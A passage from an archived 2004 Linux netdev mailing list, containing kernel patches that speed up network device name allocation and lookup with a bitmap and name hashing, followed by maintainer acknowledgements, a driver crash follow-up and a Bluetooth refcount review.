b/include/linux/string.h --- a/include/linux/string.h Thu Feb 5 15:17:53 2004 +++ b/include/linux/string.h Thu Feb 5 15:17:53 2004 @@ -52,6 +52,9 @@ #ifndef __HAVE_ARCH_STRCHR extern char * strchr(const char *,int); #endif +#ifndef __HAVE_ARCH_STRNCHR +extern char * strnchr(const char *, size_t, int); +#endif #ifndef __HAVE_ARCH_STRRCHR extern char * strrchr(const char *,int); #endif diff -Nru a/lib/string.c b/lib/string.c --- a/lib/string.c Thu Feb 5 15:17:53 2004 +++ b/lib/string.c Thu Feb 5 15:17:53 2004 @@ -273,6 +273,22 @@ } #endif +#ifndef __HAVE_ARCH_STRNCHR +/** + * strnchr - Find a character in a length limited string + * @s: The string to be searched + * @count: The number of characters to be searched + * @c: The character to search for + */ +char *strnchr(const char *s, size_t count, int c) +{ + for (; count-- && *s != '\0'; ++s) + if (*s == (char) c) + return (char *) s; + return NULL; +} +#endif + #ifndef __HAVE_ARCH_STRLEN /** * strlen - Find the length of a string diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Thu Feb 5 15:17:53 2004 +++ b/net/core/dev.c Thu Feb 5 15:17:53 2004 @@ -720,30 +720,55 @@ int dev_alloc_name(struct net_device *dev, const char *name) { - int i; - char buf[32]; - char *p; - - /* - * Verify the string as this thing may have come from - * the user. There must be either one "%d" and no other "%" - * characters, or no "%" characters at all. - */ - p = strchr(name, '%'); - if (p && (p[1] != 'd' || strchr(p + 2, '%'))) - return -EINVAL; + int i = 0; + char buf[IFNAMSIZ]; + const char *p; + const int max_netdevices = 8*PAGE_SIZE; + long *inuse; + struct net_device *d; - /* - * If you need over 100 please also fix the algorithm... - */ - for (i = 0; i < 100; i++) { - snprintf(buf, sizeof(buf), name, i); - if (!__dev_get_by_name(buf)) { - strcpy(dev->name, buf); - return i; + p = strnchr(name, IFNAMSIZ-1, '%'); + if (p) { + /* + * Verify the string as this thing may have come from + * the user. There must be either one "%d" and no other "%" + * characters. + */ + if (p[1] != 'd' || strchr(p + 2, '%')) + return -EINVAL; + + /* Use one page as a bit array of possible slots */ + inuse = (long *) get_zeroed_page(GFP_ATOMIC); + if (!inuse) + return -ENOMEM; + + for (d = dev_base; d; d = d->next) { + if (!sscanf(d->name, name, &i)) + continue; + if (i < 0 || i >= max_netdevices) + continue; + + /* avoid cases where sscanf is not exact inverse of printf */ + snprintf(buf, sizeof(buf), name, i); + if (!strncmp(buf, d->name, IFNAMSIZ)) + set_bit(i, inuse); } + + i = find_first_zero_bit(inuse, max_netdevices); + free_page((unsigned long) inuse); + } + + snprintf(buf, sizeof(buf), name, i); + if (!__dev_get_by_name(buf)) { + strlcpy(dev->name, buf, IFNAMSIZ); + return i; } - return -ENFILE; /* Over 100 of the things .. bail out! */ + + /* It is possible to run out of possible slots + * when the name is long and there isn't enough space left + * for the digits, or if all bits are used. + */ + return -ENFILE; } From shemminger@osdl.org Fri Feb 6 10:20:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 10:21:02 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16IKwKO007748 for ; Fri, 6 Feb 2004 10:20:59 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i16IKkN31853; Fri, 6 Feb 2004 10:20:47 -0800 Date: Fri, 6 Feb 2004 10:20:46 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (2/4) Support for lots of netdev's -- hash name Message-Id: <20040206102046.7b14a89c.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3052 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Hash the network device names for faster lookup when there are 1000's of network devices. Need to keep track of tail of dev_base linked list, for fast insertion, since no longer need to walk whole list. Resend of the patchset to support a large number of network devices efficiently with feedback applied, and rediff'd against 2.6.2 diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Thu Feb 5 15:17:15 2004 +++ b/include/linux/netdevice.h Thu Feb 5 15:17:15 2004 @@ -375,6 +375,8 @@ atomic_t refcnt; /* delayed register/unregister */ struct list_head todo_list; + /* device name hash chain */ + struct hlist_node name_hlist; /* register/unregister state machine */ enum { NETREG_UNINITIALIZED=0, diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Thu Feb 5 15:17:15 2004 +++ b/net/core/dev.c Thu Feb 5 15:17:15 2004 @@ -180,11 +180,21 @@ * semaphore held. */ struct net_device *dev_base; +struct net_device **dev_tail = &dev_base; rwlock_t dev_base_lock = RW_LOCK_UNLOCKED; EXPORT_SYMBOL(dev_base); EXPORT_SYMBOL(dev_base_lock); +#define NETDEV_HASHBITS 8 +static struct hlist_head dev_name_head[1<next) + hlist_for_each(p, dev_name_hash(name)) { + struct net_device *dev + = hlist_entry(p, struct net_device, name_hlist); if (!strncmp(dev->name, name, IFNAMSIZ)) - break; - return dev; + return dev; + } + return NULL; } /** @@ -754,6 +767,9 @@ else strlcpy(dev->name, newname, IFNAMSIZ); + hlist_del(&dev->name_hlist); + hlist_add_head(&dev->name_hlist, dev_name_hash(dev->name)); + class_device_rename(&dev->class_dev, dev->name); notifier_call_chain(&netdev_chain, NETDEV_CHANGENAME, dev); return 0; @@ -2742,7 +2758,8 @@ int register_netdevice(struct net_device *dev) { - struct net_device *d, **dp; + struct hlist_head *head; + struct hlist_node *p; int ret; BUG_ON(dev_boot_phase); @@ -2783,13 +2800,17 @@ if (dev->iflink == -1) dev->iflink = dev->ifindex; - /* Check for existence, and append to tail of chain */ - ret = -EEXIST; - for (dp = &dev_base; (d = *dp) != NULL; dp = &d->next) { - if (d == dev || !strcmp(d->name, dev->name)) - goto out_err; - } - + /* Check for existence of name */ + head = dev_name_hash(dev->name); + hlist_for_each(p, head) { + struct net_device *d + = hlist_entry(p, struct net_device, name_hlist); + if (!strncmp(d->name, dev->name, IFNAMSIZ)) { + ret = -EEXIST; + goto out_err; + } + } + /* Fix illegal SG+CSUM combinations. */ if ((dev->features & NETIF_F_SG) && !(dev->features & (NETIF_F_IP_CSUM | @@ -2818,7 +2839,9 @@ dev->next = NULL; dev_init_scheduler(dev); write_lock_bh(&dev_base_lock); - *dp = dev; + *dev_tail = dev; + dev_tail = &dev->next; + hlist_add_head(&dev->name_hlist, head); dev_hold(dev); dev->reg_state = NETREG_REGISTERING; write_unlock_bh(&dev_base_lock); @@ -3040,6 +3063,9 @@ for (dp = &dev_base; (d = *dp) != NULL; dp = &d->next) { if (d == dev) { write_lock_bh(&dev_base_lock); + hlist_del(&dev->name_hlist); + if (dev_tail == &dev->next) + dev_tail = dp; *dp = d->next; write_unlock_bh(&dev_base_lock); break; @@ -3115,6 +3141,9 @@ INIT_LIST_HEAD(&ptype_all); for (i = 0; i < 16; i++) INIT_LIST_HEAD(&ptype_base[i]); + + for (i = 0; i < ARRAY_SIZE(dev_name_head); i++) + INIT_HLIST_HEAD(&dev_name_head[i]); /* * Initialise the packet receive queues. From davem@redhat.com Fri Feb 6 13:39:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 13:39:34 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16LdUKO015636 for ; Fri, 6 Feb 2004 13:39:30 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i16LdRb16134; Fri, 6 Feb 2004 16:39:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i16LdRa02524; Fri, 6 Feb 2004 16:39:27 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i16LctkC012919; Fri, 6 Feb 2004 16:38:56 -0500 Date: Fri, 6 Feb 2004 13:39:26 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (1/4) Support for lots of netdev's -- dev_base move Message-Id: <20040206133926.29344238.davem@redhat.com> In-Reply-To: <20040206100310.21ebd1da.shemminger@osdl.org> References: <20040206100310.21ebd1da.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3053 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 6 Feb 2004 10:03:10 -0800 Stephen Hemminger wrote: > The first patch moves the device list and locks from drivers/net/Space.c > to net/core/dev.c. The list used to be in Space.c because we initialized it > in 2.4, but now it makes more sense to put it over with the management > routines. Applied. I hope we can eventually mark these two things static somehow. I know there's a lot needed to do that, so not now just eventually. Thanks Stephen. From davem@redhat.com Fri Feb 6 13:44:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 13:44:58 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16LitKO016102 for ; Fri, 6 Feb 2004 13:44:55 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i16LiQb18857; Fri, 6 Feb 2004 16:44:26 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i16LiPa04737; Fri, 6 Feb 2004 16:44:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i16LhskC016293; Fri, 6 Feb 2004 16:43:54 -0500 Date: Fri, 6 Feb 2004 13:44:25 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (3/4) Support lots of netdev's -- hash ifindex Message-Id: <20040206134425.50577b1d.davem@redhat.com> In-Reply-To: <20040206100501.6ffcfa8a.shemminger@osdl.org> References: <20040206100501.6ffcfa8a.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3054 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 6 Feb 2004 10:05:01 -0800 Stephen Hemminger wrote: > Hash network device index entries, to allow fast lookup by routing > protocols. Ok, I am applying this and the hash netdev by name patch. I was going to allocate the tables at run time, not put them into the image but since these go into the BSS it's not such a big deal after all. Thanks Stephen. From davem@redhat.com Fri Feb 6 14:38:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 14:38:08 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16Mc4KO017495 for ; Fri, 6 Feb 2004 14:38:04 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i16Mbwb11483; Fri, 6 Feb 2004 17:37:58 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i16Mbwa24601; Fri, 6 Feb 2004 17:37:58 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i16MbRkC021233; Fri, 6 Feb 2004 17:37:27 -0500 Date: Fri, 6 Feb 2004 14:37:57 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (4/4) Support for lots of netdev's -- faster dev_alloc_name Message-Id: <20040206143757.53cd8adb.davem@redhat.com> In-Reply-To: <20040206101232.46bc30b1.shemminger@osdl.org> References: <20040206101232.46bc30b1.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3055 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 6 Feb 2004 10:12:32 -0800 Stephen Hemminger wrote: > Convert dev_alloc_name from O(n^2) lookup to O(n) by using a page as > bitmap to figure out how many devices of that pattern have been allocated. > This works for up to 32k devices (PAGE_SIZE*8) on i386, more on other > platforms. Correctly handles the boundary cases where number of devices > won't fit because name length is limited. > > Adds strnchr to the string libraries since we need to find the % format > character, but only care if it is in the first 15 bytes. Ok, applied, thanks Stephen. From romieu@fr.zoreil.com Fri Feb 6 15:20:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 15:20:32 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16NKGKO018691 for ; Fri, 6 Feb 2004 15:20:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i16NHwgf031725; Sat, 7 Feb 2004 00:17:58 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i16NHuMu031724; Sat, 7 Feb 2004 00:17:56 +0100 Date: Sat, 7 Feb 2004 00:17:56 +0100 From: Francois Romieu To: Michael Neuffer Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, shuchen@realtek.com.tw Subject: Re: of 2.6.2-rc2-mm2 and r8169 Message-ID: <20040207001756.A26645@electric-eye.fr.zoreil.com> References: <20040130014108.09c964fd.akpm@osdl.org> <20040201100340.GA12436@neuffer.info> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040201100340.GA12436@neuffer.info>; from neuffer@neuffer.info on Sun, Feb 01, 2004 at 11:03:40AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 3056 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Michael Neuffer : [...] > After many tests I was finally able to capture an Oops: > Oops: 0000 [#1] > PREEMPT If you need to see it work better, I would suggest to disable PREEMPT/SMP. Could you send me the faulty r8169.o module off-list as well as an lsmod, an output of the /proc/interrupts and a dmesg from boot ? -- Ueimor From marcel@holtmann.org Fri Feb 6 15:30:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 15:30:42 -0800 (PST) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16NUbKO019316 for ; Fri, 6 Feb 2004 15:30:38 -0800 Received: from pegasus (pD95257EB.dip.t-dialin.net [217.82.87.235]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id i16NV4V4006485; Sat, 7 Feb 2004 00:31:04 +0100 Subject: Re: some bluetooth fixes From: Marcel Holtmann To: Andi Kleen Cc: bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk In-Reply-To: <20040206050042.20a2b3b0.ak@suse.de> References: <20040206050042.20a2b3b0.ak@suse.de> Content-Type: text/plain Message-Id: <1076110207.14418.53.camel@pegasus> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Sat, 07 Feb 2004 00:30:08 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 3058 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev Hi Andi, > diff -u linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c-o linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c > --- linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c-o 2003-09-28 10:53:25.000000000 +0200 > +++ linux-2.6.2-work32/net/bluetooth/rfcomm/tty.c 2004-02-06 04:58:28.000000000 +0100 > @@ -549,8 +549,10 @@ > > BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst), dev->channel, dev->opened); > > - if (dev->opened++ != 0) > + if (dev->opened++ != 0) { > + rfcomm_dev_put(dev); > return 0; > + } > > dlc = dev->dlc; this part is wrong, because it is not an error case. It is success and the refcount must stay increased. Regards Marcel From davem@redhat.com Fri Feb 6 15:30:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 15:30:33 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16NUJKO019290 for ; Fri, 6 Feb 2004 15:30:20 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i16NUFb01635; Fri, 6 Feb 2004 18:30:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i16NUFa09914; Fri, 6 Feb 2004 18:30:15 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i16NTikC008240; Fri, 6 Feb 2004 18:29:44 -0500 Date: Fri, 6 Feb 2004 15:30:14 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH 1/3] IPV6: clean-up DAD vs tentative address Message-Id: <20040206153014.61b5286d.davem@redhat.com> In-Reply-To: <20040206.181003.68972716.yoshfuji@linux-ipv6.org> References: <20040206.181003.68972716.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i16NUJKO019290 X-archive-position: 3057 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 06 Feb 2004 18:10:03 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > [PATCH 1/3] IPV6: clean-up DAD vs tentative address > > D: clean-up NS (including DAD) vs tentative address Applied, thanks Yoshfuji. From davem@redhat.com Fri Feb 6 15:32:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 15:32:11 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16NW7KO020028 for ; Fri, 6 Feb 2004 15:32:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i16NW2b02702; Fri, 6 Feb 2004 18:32:02 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i16NW2a10895; Fri, 6 Feb 2004 18:32:02 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i16NVUkC009328; Fri, 6 Feb 2004 18:31:31 -0500 Date: Fri, 6 Feb 2004 15:32:01 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2/3] IPV6: unify 3 similar code path in ndisc_recv_ns() Message-Id: <20040206153201.126c88b8.davem@redhat.com> In-Reply-To: <20040206.181006.79694138.yoshfuji@linux-ipv6.org> References: <20040206.181006.79694138.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i16NW7KO020028 X-archive-position: 3059 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 06 Feb 2004 18:10:06 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > [PATCH 2/3] IPV6: unify 3 similar code path in ndisc_recv_ns() > > D: Unify 3 similar code path in ndisc_recv_ns(). > D: This patch also fixes: > D: - flags sent with NA in reply to this NS > D: - missing random delay after receipt of NS against anycast Very nice consolidation of code. Applied, thanks Yoshfuji. From davem@redhat.com Fri Feb 6 15:33:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 15:33:28 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16NXOKO020416 for ; Fri, 6 Feb 2004 15:33:24 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i16NXMb03292; Fri, 6 Feb 2004 18:33:22 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i16NXMa11328; Fri, 6 Feb 2004 18:33:22 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i16NWokC009633; Fri, 6 Feb 2004 18:32:51 -0500 Date: Fri, 6 Feb 2004 15:33:21 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH 3/3] IPV6: use cheaper ipv6_addr_any() where appropriate Message-Id: <20040206153321.07ca91b0.davem@redhat.com> In-Reply-To: <20040206.181014.40584753.yoshfuji@linux-ipv6.org> References: <20040206.181014.40584753.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i16NXOKO020416 X-archive-position: 3060 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 06 Feb 2004 18:10:14 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > [PATCH 3/3] IPV6: use cheaper ipv6_addr_any() where appropriate > > D: Use cheaper ipv6_addr_any() where appropriate. Also applied. Guess you didn't get all of these cases the other week when you were making similar changes. :-) Thanks. From davem@redhat.com Fri Feb 6 15:34:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 15:34:12 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16NY8KO020720 for ; Fri, 6 Feb 2004 15:34:08 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i16NY3b03586; Fri, 6 Feb 2004 18:34:03 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i16NY3a11579; Fri, 6 Feb 2004 18:34:03 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i16NXVkC009921; Fri, 6 Feb 2004 18:33:31 -0500 Date: Fri, 6 Feb 2004 15:34:01 -0800 From: "David S. Miller" To: Marcel Holtmann Cc: ak@suse.de, bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk Subject: Re: some bluetooth fixes Message-Id: <20040206153401.49238aa2.davem@redhat.com> In-Reply-To: <1076110207.14418.53.camel@pegasus> References: <20040206050042.20a2b3b0.ak@suse.de> <1076110207.14418.53.camel@pegasus> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3061 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Marcelo/Andi, I assume you guys will work things out and send me a final patch? Thanks. From marcel@holtmann.org Fri Feb 6 15:46:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 15:46:46 -0800 (PST) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16NkeKO022788 for ; Fri, 6 Feb 2004 15:46:43 -0800 Received: from pegasus (pD95257EB.dip.t-dialin.net [217.82.87.235]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id i16Nl2V4006634; Sat, 7 Feb 2004 00:47:07 +0100 Subject: Re: some bluetooth fixes From: Marcel Holtmann To: "David S. Miller" Cc: ak@suse.de, BlueZ Mailing List , netdev@oss.sgi.com, viro@zenII.linux.org.uk In-Reply-To: <20040206153401.49238aa2.davem@redhat.com> References: <20040206050042.20a2b3b0.ak@suse.de> <1076110207.14418.53.camel@pegasus> <20040206153401.49238aa2.davem@redhat.com> Content-Type: text/plain Message-Id: <1076111165.14418.62.camel@pegasus> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Sat, 07 Feb 2004 00:46:05 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 3062 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev Hi Dave, > Marcelo/Andi, I assume you guys will work things out and send > me a final patch? I already splitted Andi's patch into smaller parts and I wait for the answers to my questions. I also have some other fixes in the queue, so you will get a number of patches ;) Regards Marcel From davem@redhat.com Fri Feb 6 16:04:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 